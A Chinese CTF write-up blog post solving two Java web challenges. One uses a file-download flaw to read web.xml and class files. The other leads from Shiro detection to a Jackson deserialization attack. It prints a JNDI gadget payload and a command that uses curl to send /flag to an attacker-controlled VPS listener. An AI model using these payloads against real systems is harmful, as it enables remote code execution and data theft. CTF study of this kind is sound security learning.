Java安全-Java In CTF([红明谷CTF 2021]JavaWeb、[红明谷CTF 2021]JavaWeb)

1,012 阅读1分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第14天,点击查看活动详情

[RoarCTF 2019]Easy Java

存在文件下载,尝试去读 WEB-INF/web.xml,get 传参发现一直失败

image-20220505102102406

在 burp 中改为 post 传参,可以正常下载文件

image-20220505102240225

只要再去读 class 文件即可

image-20220505102445896

成功下载 class 放到 idea 中,拿到 flag

image-20220505103142609

[红明谷CTF 2021]JavaWeb

题目提示 /login 目录,访问提示 /json

image-20220505103846495

访问 /json 跳回到 /login,并且带了 jsessionid

/login;jsessionid=6B838B383F8E912A5536F55CABDEE4BE

尝试在 cookie 中加上 rememberMe=1

image-20220505104542959

回显的 rememberMe=deleteMe 很明显的 shiro 特征,不会了看其他师傅的 wp

shiro 利用思路

  1. 反序列化
  2. 权限绕过

其他师傅的思路

image-20220505105624897

看了赵今师傅的 wp 用 burp 照着复现竟然失败,是请求中夹杂了其他请求头

image-20220505133707910

于是用 postman 去发包

image-20220505133745504

也就是请求中去到其他的请求头即可,经测试去掉 accept 头后,数据正常

image-20220505133947742

在返回 json 数据中,可以看到 jackson 字样

"exception":"com.fasterxml.jackson.core.JsonParseException",

尝试 jsckson 反序列化

1.首先测试漏洞是否存在

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://ip:port/test"}]

image-20220505135112019

证明此处确实存在漏洞

2.利用 jndi 工具拿到 flag

github.com/welk1n/JNDI…

java -jar JNDI* -C 'curl http://vps ip:nc port/ -d @/flag'

image-20220505135628369

执行命令工具会开启 ldap 和 rmi 的服务,可以根据 jdk 选择合适的 url,注意防火墙开启对应端口,我这里用 rmi 1099 端口,同时开启 nc 监听对应端口

注意:上图 ip 为 vps 内网 ip,真正要用的是公网 ip 替换一下即可

image-20220505140218677

image-20220505140247059 参考:

[红明谷CTF 2021]JavaWeb